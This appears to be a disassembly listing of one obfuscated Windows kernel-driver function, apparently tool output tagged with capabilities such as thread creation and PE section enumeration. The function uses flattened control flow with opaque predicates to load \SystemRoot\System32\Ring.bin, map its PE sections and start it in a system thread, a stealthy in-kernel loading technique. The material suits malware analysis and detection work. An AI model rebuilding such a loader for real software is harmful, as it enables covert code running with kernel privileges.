Function at 0x14000776d
Capabilities:
Create thread
Enumerate pe sections

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x70]
mov rsi, rcx
mov rax, qword [0x1400160c0]
xor rax, rbp
mov qword [rbp], rax
mov eax, dword [0x14001614c]
mov ecx, dword [0x140016148]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp - 5]
cmp ecx, 0xa
setl byte [rbp - 6]
mov eax, 0x30a850d6
xor edi, edi
mov r12d, 0x965f8d9
cmp eax, 0x965f8d8
jg 0x140007866
cmp eax, 0xc9b4029e
jg 0x14000790a
cmp eax, 0xa3301b7f
jle 0x1400079b3
cmp eax, 0xb395e6ee
jle 0x140007ac7
cmp eax, 0xbc4e9753
jle 0x140007d0c
cmp eax, 0xbc4e9754
je 0x1400080c1
cmp eax, 0xbd371575
je 0x1400080fc
cmp eax, 0xbf6d9669
jne 0x1400077c0
mov eax, dword [rbp - 4]
mov rdx, qword [rbp - 0x68]
lea rax, [rax + rax*4]
mov ecx, dword [rdx + rax*8 + 0xc]
mov r8d, dword [rdx + rax*8 + 0x10]
mov edx, dword [rdx + rax*8 + 0x14]
add rdx, rsi
mov rax, qword [0x1400160d0]
add rcx, qword [rax + 0x18]
sub rsp, 0x20
call fcn.1400028d9
add rsp, 0x20
mov eax, dword [rbp - 4]
mov eax, dword [rbp - 4]
mov eax, dword [rbp - 4]
mov eax, dword [rbp - 4]
mov eax, dword [rbp - 4]
mov eax, dword [rbp - 4]
mov eax, dword [rbp - 4]
mov eax, 0xd6c384ea
jmp 0x1400077c0
cmp eax, 0x432b7ef9
jg 0x140007962
cmp eax, 0x29d4b473
jle 0x1400079fd
cmp eax, 0x362d8ecf
jle 0x140007b2b
cmp eax, 0x3c96632b
jle 0x140007d4b
cmp eax, 0x3c96632c
je 0x140008106
cmp eax, 0x3e92dbdf
je 0x140008110
cmp eax, 0x41c74fcd
jne 0x1400077c0
mov rax, qword [rbp - 0x18]
mov rax, qword [rbp - 0x18]
mov qword [rax], rdi
mov rax, qword [0x1400160d0]
mov rcx, qword [rbp - 0x30]
mov edx, dword [rcx + 0x10]
add rdx, qword [rax + 0x18]
mov rcx, qword [rbp - 0x18]
sub rsp, 0x40
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rdi
mov edx, 0x1fffff
xor r8d, r8d
mov r9, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_PsCreateSystemThread]
add rsp, 0x40
mov eax, 0x5bc3adf2
jmp 0x1400077c0
cmp eax, 0xe188096e
jle 0x140007a33
cmp eax, 0xf40fc2f0
jle 0x140007b6a
cmp eax, 0xf5dbb02a
jle 0x140007d7f
cmp eax, 0xf5dbb02b
je 0x14000812e
cmp eax, 0x4915ea9
je 0x140008150
cmp eax, 0x57073fa
jne 0x1400077c0
cmp byte [rbp - 0xa], 0
mov eax, 0x1159c69a
mov ecx, 0x3b6bc529
cmovne eax, ecx
jmp 0x1400077c0
cmp eax, 0x6164866d
jle 0x140007a79
cmp eax, 0x7649952e
jg 0x140007ba9
cmp eax, 0x6a63fb39
jle 0x140007da3
cmp eax, 0x6a63fb3a
je 0x14000816c
cmp eax, 0x7150f04e
jne 0x14000865d
cmp byte [rbp - 0xd], 0
mov eax, 0xf5dbb02b
mov ecx, 0xdad96ee3
cmovne eax, ecx
mov r14d, dword [rbp - 0x34]
jmp 0x1400077c0
cmp eax, 0x98fac901
jg 0x140007bf9
cmp eax, 0x845d5fa0
jg 0x140007dc6
cmp eax, 0x81277724
je 0x14000818a
cmp eax, 0x83050f07
jne 0x1400077c0
mov eax, dword [0x14001614c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x845d5fa1
mov ecx, 0x362d8ed0
jmp 0x14000864b
cmp eax, 0xfc01144
jg 0x140007c28
cmp eax, 0xb18de72
jg 0x140007e01
cmp eax, 0x965f8d9
je 0x1400081a8
cmp eax, 0x9babcc6
jne 0x1400077c0
mov eax, 0x29d4b474
jmp 0x1400077c0
cmp eax, 0xd68a0b20
jg 0x140007c67
cmp eax, 0xd2ca3ea2
jg 0x140007e51
cmp eax, 0xc9b4029f
je 0x1400081b5
cmp eax, 0xd067fa09
jne 0x1400077c0
sub rsp, 0x20
mov rcx, rsi
call fcn.1400014e6
add rsp, 0x20
mov eax, 0xbc4e9754
jmp 0x1400077c0
cmp eax, 0x58044583
jg 0x140007ce1
cmp eax, 0x535220dd
jg 0x140007e85
cmp eax, 0x432b7efa
je 0x1400081d1
cmp eax, 0x4a689e84
jne 0x1400077c0
mov dword [rbp - 4], r15d
mov eax, dword [0x14001614c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7649952f
mov ecx, 0x7a1185b5
jmp 0x14000864b
cmp eax, 0xa4bd1ab3
jg 0x140007ebd
cmp eax, 0xa3301b80
je 0x1400081db
cmp eax, 0xa4148ae5
jne 0x1400077c0
mov rax, qword [rbp - 0x20]
mov rax, qword [rbp - 0x20]
mov qword [rax], rdi
mov rax, qword [rbp - 0x18]
mov rcx, qword [rax]
mov rax, qword [rbp - 0x20]
sub rsp, 0x30
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
mov edx, 0x1fffff
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntoskrnl.exe_ObReferenceObjectByHandle]
add rsp, 0x30
mov eax, 0x5c76ba71
jmp 0x1400077c0
cmp eax, 0x2cc059ca
jg 0x140007ee6
cmp eax, 0x29d4b474
je 0x1400081f1
cmp eax, 0x2a5bdba3
jne 0x1400077c0
mov eax, dword [0x14001614c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd74dc9a2
mov ecx, 0x7cc06e7f
jmp 0x14000864b
cmp eax, 0xecc50ffc
jg 0x140007f1a
cmp eax, 0xe188096f
je 0x14000820f
cmp eax, 0xe65c1ed7
jne 0x1400077c0
mov eax, dword [0x14001614c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x58e86d3c
mov ecx, 0x6193c8fe
jmp 0x14000864b
cmp eax, 0x7cc06e7e
jg 0x140007f43
cmp eax, 0x7649952f
je 0x14000822d
cmp eax, 0x7a1185b5
jne 0x1400077c0
mov rax, qword [rbp - 0x28]
movzx eax, word [rax + 6]
mov ecx, dword [rbp - 4]
cmp ecx, eax
setb byte [rbp - 0xa]
mov eax, dword [0x14001614c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7649952f
mov ecx, 0x57073fa
jmp 0x14000864b
cmp eax, 0x9f9742bd
jg 0x140007f6f
cmp eax, 0x98fac902
je 0x14000823e
cmp eax, 0x9a1ecc95
jne 0x1400077c0
mov eax, 0xb395e6ef
mov r13d, dword [rbp - 0x58]
jmp 0x1400077c0
cmp eax, 0x1994e4f0
jg 0x140007fde
cmp eax, 0xfc01145
je 0x14000829f
cmp eax, 0x1159c69a
jne 0x1400077c0
mov eax, dword [0x14001614c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1994e4f1
mov ecx, 0xd68a0b21
jmp 0x14000864b
cmp eax, 0xd74dc9a1
jg 0x140008012
cmp eax, 0xd68a0b21
je 0x1400082ad
cmp eax, 0xd6c384ea
jne 0x1400077c0
mov eax, dword [rbp - 4]
mov rdx, qword [rbp - 0x68]
lea rax, [rax + rax*4]
mov ecx, dword [rdx + rax*8 + 0xc]
mov r8d, dword [rdx + rax*8 + 0x10]
mov edx, dword [rdx + rax*8 + 0x14]
add rdx, rsi
mov rax, qword [0x1400160d0]
add rcx, qword [rax + 0x18]
sub rsp, 0x20
call fcn.1400028d9
add rsp, 0x20
mov eax, dword [rbp - 4]
inc eax
mov dword [rbp - 0x54], eax
mov eax, dword [0x14001614c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xbf6d9669
mov ecx, 0xfc01145
jmp 0x14000864b
cmp eax, 0x5bc3adf1
jg 0x140008046
cmp eax, 0x58044584
je 0x1400082e9
cmp eax, 0x58e86d3c
jne 0x1400077c0
mov eax, 0xe65c1ed7
jmp 0x1400077c0
cmp eax, 0xb395e6ef
je 0x1400082f3
cmp eax, 0xb88477ea
jne 0x1400077c0
mov rax, qword [rbp - 0x28]
mov ecx, dword [rax + 0x50]
sub rsp, 0x20
call fcn.140003060
add rsp, 0x20
mov rcx, qword [0x1400160d0]
mov qword [rcx + 0x18], rax
mov eax, 0x98fac902
jmp 0x1400077c0
cmp eax, 0x362d8ed0
je 0x140008315
cmp eax, 0x3b6bc529
jne 0x1400077c0
mov eax, dword [0x14001614c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xbf6d9669
mov ecx, 0xd6c384ea
jmp 0x14000864b
cmp eax, 0xf40fc2f1
je 0x14000835f
cmp eax, 0xf46798f4
jne 0x1400077c0
mov eax, 0xf5dbb02b
mov r14d, dword [rbp - 0x38]
jmp 0x1400077c0
cmp eax, 0x6164866e
je 0x14000837a
cmp eax, 0x6193c8fe
jne 0x1400077c0
mov eax, 0xd2ca3ea3
mov ebx, dword [rbp - 0x5c]
jmp 0x1400077c0
cmp eax, 0x845d5fa1
je 0x140008398
cmp eax, 0x8996f57c
jne 0x1400077c0
mov rax, qword [rbp - 0x18]
mov rcx, qword [rax]
sub rsp, 0x20
xor edx, edx
call qword [sym.imp.ntoskrnl.exe_ObCloseHandle]
add rsp, 0x20
mov rax, qword [rbp - 0x50]
mov eax, 0x9f9742be
jmp 0x1400077c0
cmp eax, 0xb18de73
je 0x1400083c3
cmp eax, 0xe7afee2
jne 0x1400077c0
mov rax, qword [0x1400160d0]
mov rcx, qword [rax + 0x18]
sub rsp, 0x20
call fcn.140006e5a
add rsp, 0x20
mov byte [rbp - 0xc], 1
mov eax, dword [0x14001614c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2cc059cb
mov ecx, 0x4915ea9
jmp 0x14000864b
cmp eax, 0xd2ca3ea3
je 0x140008410
cmp eax, 0xd47f49c4
jne 0x1400077c0
mov eax, dword [0x14001614c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2cc059cb
mov ecx, 0xe7afee2
jmp 0x14000864b
cmp eax, 0x535220de
je 0x140008431
cmp eax, 0x579662d7
jne 0x1400077c0
mov rax, qword [rbp - 0x70]
mov eax, dword [0x14001614c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9babcc6
mov ecx, 0x29d4b474
jmp 0x14000864b
cmp eax, 0xa4bd1ab4
je 0x14000843b
cmp eax, 0xa70650ca
jne 0x1400077c0
cmp byte [rbp - 0xb], 0
mov eax, 0xf5dbb02b
mov ecx, 0xd47f49c4
jmp 0x14000815e
cmp eax, 0x2cc059cb
je 0x140008480
cmp eax, 0x30a850d6
jne 0x1400077c0
mov cl, byte [rbp - 5]
cmp byte [rbp - 6], 0
mov eax, 0xbd371575
mov edx, 0xb18de73
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x1400077c0
cmp eax, 0xecc50ffd
je 0x1400084a2
cmp eax, 0xf152f24f
jne 0x1400077c0
cmp byte [rbp - 9], 0
mov eax, 0xb395e6ef
mov ecx, 0x2a5bdba3
jmp 0x1400081c3
cmp eax, 0x7cc06e7f
je 0x1400084c0
cmp eax, 0x7da774c5
jne 0x1400077c0
cmp byte [rbp - 0xe], 0
mov eax, 0x579662d7
mov ecx, 0x81277724
cmovne eax, ecx
jmp 0x1400077c0
cmp eax, 0x9f9742be
je 0x140008533
cmp eax, 0xa13c21af
jne 0x1400077c0
mov rax, qword [rbp - 0x20]
mov rcx, qword [rax]
sub rsp, 0x30
mov qword [rsp + 0x20], 0
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntoskrnl.exe_KeWaitForSingleObject]
add rsp, 0x30
mov rax, qword [rbp - 0x20]
mov rcx, qword [rax]
sub rsp, 0x20
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
add rsp, 0x20
mov eax, dword [0x14001614c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa4bd1ab4
mov ecx, 0x432b7efa
jmp 0x14000864b
cmp eax, 0x1994e4f1
je 0x14000856c
cmp eax, 0x22609531
jne 0x1400077c0
mov eax, dword [0x14001614c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8996f57c
mov ecx, 0x9f9742be
jmp 0x14000864b
cmp eax, 0xd74dc9a2
je 0x14000858e
cmp eax, 0xdad96ee3
jne 0x1400077c0
mov eax, dword [0x14001614c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x41c74fcd
mov ecx, 0x5bc3adf2
jmp 0x14000864b
cmp eax, 0x5bc3adf2
je 0x1400085d2
cmp eax, 0x5c76ba71
jne 0x1400077c0
mov rax, qword [rbp - 0x20]
mov qword [rbp - 0x50], rax
mov rax, qword [rbp - 0x50]
mov rax, qword [rbp - 0x20]
mov qword [rax], rdi
mov rax, qword [rbp - 0x18]
mov rcx, qword [rax]
mov rax, qword [rbp - 0x20]
sub rsp, 0x30
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
mov edx, 0x1fffff
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntoskrnl.exe_ObReferenceObjectByHandle]
add rsp, 0x30
test eax, eax
setns byte [rbp - 0xf]
mov eax, dword [0x14001614c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa4148ae5
mov ecx, 0xa3301b80
jmp 0x14000864b
sub rsp, 0x20
mov rcx, rsi
call fcn.1400014e6
add rsp, 0x20
mov qword [rbp - 0x28], rax
cmp qword [rbp - 0x28], 0
setne byte [rbp - 8]
mov eax, dword [0x14001614c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd067fa09
mov ecx, 0xc9b4029f
jmp 0x14000864b
mov eax, 0xb18de73
jmp 0x1400077c0
mov eax, 0x6a63fb3a
jmp 0x1400077c0
mov eax, dword [0x14001614c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa4bd1ab4
mov ecx, 0xa13c21af
jmp 0x14000864b
mov dword [rbp - 0x58], r14d
mov eax, dword [0x14001614c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x535220de
mov ecx, 0xecc50ffd
jmp 0x14000864b
cmp byte [rbp - 0xc], 0
mov eax, 0xf5dbb02b
mov ecx, 0x83050f07
cmovne eax, ecx
mov r14d, 0xc0000001
jmp 0x1400077c0
mov eax, dword [0x14001614c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3c96632c
mov ecx, 0x6e581665
jmp 0x14000864b
mov eax, dword [0x14001614c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa4148ae5
mov ecx, 0x5c76ba71
jmp 0x14000864b
mov eax, 0x4a689e84
xor r15d, r15d
jmp 0x1400077c0
cmp byte [rbp - 8], 0
mov eax, 0xb395e6ef
mov ecx, 0xe188096f
cmovne eax, ecx
mov r13d, 0xc0000001
jmp 0x1400077c0
mov eax, 0x22609531
jmp 0x1400077c0
cmp byte [rbp - 0xf], 0
mov eax, 0x22609531
mov ecx, 0x3e92dbdf
cmovne eax, ecx
jmp 0x1400077c0
mov eax, dword [0x14001614c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9babcc6
mov ecx, 0xf46798f4
jmp 0x14000864b
mov eax, dword [0x14001614c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb88477ea
mov ecx, 0x98fac902
jmp 0x14000864b
mov rax, qword [rbp - 0x28]
mov eax, dword [rbp - 4]
mov eax, 0x7a1185b5
jmp 0x1400077c0
mov rax, qword [rbp - 0x28]
add rax, 0x18
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x30]
add rax, 0x38
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov ecx, dword [rax]
sub rsp, 0x20
call fcn.140003060
add rsp, 0x20
mov rcx, qword [0x1400160d0]
mov qword [rcx + 0x18], rax
mov qword [rbp - 0x48], rax
cmp qword [rbp - 0x48], 0
setne byte [rbp - 9]
mov eax, dword [0x14001614c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb88477ea
mov ecx, 0xf152f24f
jmp 0x14000864b
mov eax, 0x4a689e84
mov r15d, dword [rbp - 0x54]
jmp 0x1400077c0
mov rax, qword [0x1400160d0]
mov rcx, qword [rax + 0x18]
sub rsp, 0x20
call fcn.1400065c4
add rsp, 0x20
test eax, eax
setns byte [rbp - 0xb]
mov eax, dword [0x14001614c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1994e4f1
mov ecx, 0xa70650ca
jmp 0x14000864b
mov eax, 0x579662d7
jmp 0x1400077c0
mov dword [rbp - 0x5c], r13d
mov eax, dword [0x14001614c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x58e86d3c
mov ecx, 0xe65c1ed7
jmp 0x14000864b
sub rsp, 0x20
lea rcx, str.SystemRootSystem32Ring.bin
lea rdx, [0x1400160d0]
mov r8d, 8
call section..text
add rsp, 0x20
mov dword [rbp - 0x34], eax
cmp dword [rbp - 0x34], 0
setns byte [rbp - 0xd]
mov eax, dword [0x14001614c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x845d5fa1
mov ecx, 0x7150f04e
jmp 0x14000864b
cmp byte [rbp - 7], 0
mov eax, 0xd2ca3ea3
mov ecx, 0x6164866e
cmovne eax, ecx
mov ebx, 0xc0000001
jmp 0x1400077c0
mov eax, dword [0x14001614c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd067fa09
mov ecx, 0xbc4e9754
jmp 0x14000864b
sub rsp, 0x20
lea rcx, str.SystemRootSystem32Ring.bin
lea rdx, [0x1400160d0]
mov r8d, 8
call section..text
add rsp, 0x20
mov eax, 0x362d8ed0
jmp 0x1400077c0
mov eax, 0x10
call sub.ntoskrnl.exe___chkstk
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x18], rax
mov eax, 0x10
call sub.ntoskrnl.exe___chkstk
sub rsp, rax
mov rax, rsp
test rsi, rsi
setne byte [rbp - 7]
mov qword [rbp - 0x20], rax
mov eax, dword [0x14001614c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xbd371575
mov ecx, 0xf40fc2f1
jmp 0x14000864b
mov dword [rbp - 0x60], ebx
mov eax, dword [0x14001614c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3c96632c
mov ecx, 0x6a63fb3a
jmp 0x14000864b
mov eax, 0xecc50ffd
jmp 0x1400077c0
mov rax, qword [rbp - 0x20]
mov rcx, qword [rax]
sub rsp, 0x30
mov qword [rsp + 0x20], 0
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntoskrnl.exe_KeWaitForSingleObject]
add rsp, 0x30
mov rax, qword [rbp - 0x20]
mov rcx, qword [rax]
sub rsp, 0x20
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
add rsp, 0x20
mov eax, 0xa13c21af
jmp 0x1400077c0
mov rax, qword [0x1400160d0]
mov rcx, qword [rax + 0x18]
sub rsp, 0x20
call fcn.140006e5a
add rsp, 0x20
mov eax, 0xe7afee2
jmp 0x1400077c0
mov eax, dword [0x14001614c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x535220de
mov ecx, 0x9a1ecc95
jmp 0x14000864b
mov rax, qword [rbp - 0x40]
mov edx, dword [rax]
mov rcx, qword [rbp - 0x48]
sub rsp, 0x20
call fcn.1400025c4
add rsp, 0x20
mov rax, qword [rbp - 0x30]
mov r8d, dword [rax + 0x3c]
mov rax, qword [0x1400160d0]
mov rcx, qword [rax + 0x18]
sub rsp, 0x20
mov rdx, rsi
call fcn.1400028d9
add rsp, 0x20
movsxd rax, dword [rsi + 0x3c]
add rax, rsi
add rax, 0x108
mov qword [rbp - 0x68], rax
mov eax, dword [0x14001614c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd74dc9a2
cmove eax, r12d
cmp dword [0x140016148], 0xa
cmovl eax, r12d
jmp 0x1400077c0
mov rax, qword [rbp - 0x18]
mov rcx, qword [rax]
sub rsp, 0x20
xor edx, edx
call qword [sym.imp.ntoskrnl.exe_ObCloseHandle]
add rsp, 0x20
mov rax, qword [rbp - 0x50]
mov eax, dword [0x14001614c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8996f57c
mov ecx, 0x58044584
jmp 0x14000864b
mov rax, qword [0x1400160d0]
mov rcx, qword [rax + 0x18]
sub rsp, 0x20
call fcn.1400065c4
add rsp, 0x20
mov eax, 0xd68a0b21
jmp 0x1400077c0
mov rax, qword [rbp - 0x40]
mov edx, dword [rax]
mov rcx, qword [rbp - 0x48]
sub rsp, 0x20
call fcn.1400025c4
add rsp, 0x20
mov rax, qword [rbp - 0x30]
mov r8d, dword [rax + 0x3c]
mov rax, qword [0x1400160d0]
mov rcx, qword [rax + 0x18]
sub rsp, 0x20
mov rdx, rsi
call fcn.1400028d9
add rsp, 0x20
mov eax, 0x7cc06e7f
jmp 0x1400077c0
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x70], rax
mov rax, qword [rbp - 0x70]
mov rax, qword [rbp - 0x18]
mov qword [rax], rdi
mov rax, qword [0x1400160d0]
mov rcx, qword [rbp - 0x30]
mov edx, dword [rcx + 0x10]
add rdx, qword [rax + 0x18]
mov rcx, qword [rbp - 0x18]
sub rsp, 0x40
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rdi
mov edx, 0x1fffff
xor r8d, r8d
mov r9, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_PsCreateSystemThread]
add rsp, 0x40
mov dword [rbp - 0x38], eax
cmp dword [rbp - 0x38], 0
setns byte [rbp - 0xe]
mov eax, dword [0x14001614c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x41c74fcd
mov ecx, 0x7da774c5
cmove eax, ecx
cmp dword [0x140016148], 0xa
cmovl eax, ecx
jmp 0x1400077c0
cmp eax, 0x6e581665
jne 0x1400077c0
mov esi, dword [rbp - 0x60]
mov rcx, qword [rbp]
xor rcx, rbp
sub rsp, 0x20
call fcn.140013f90
add rsp, 0x20
mov eax, esi
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret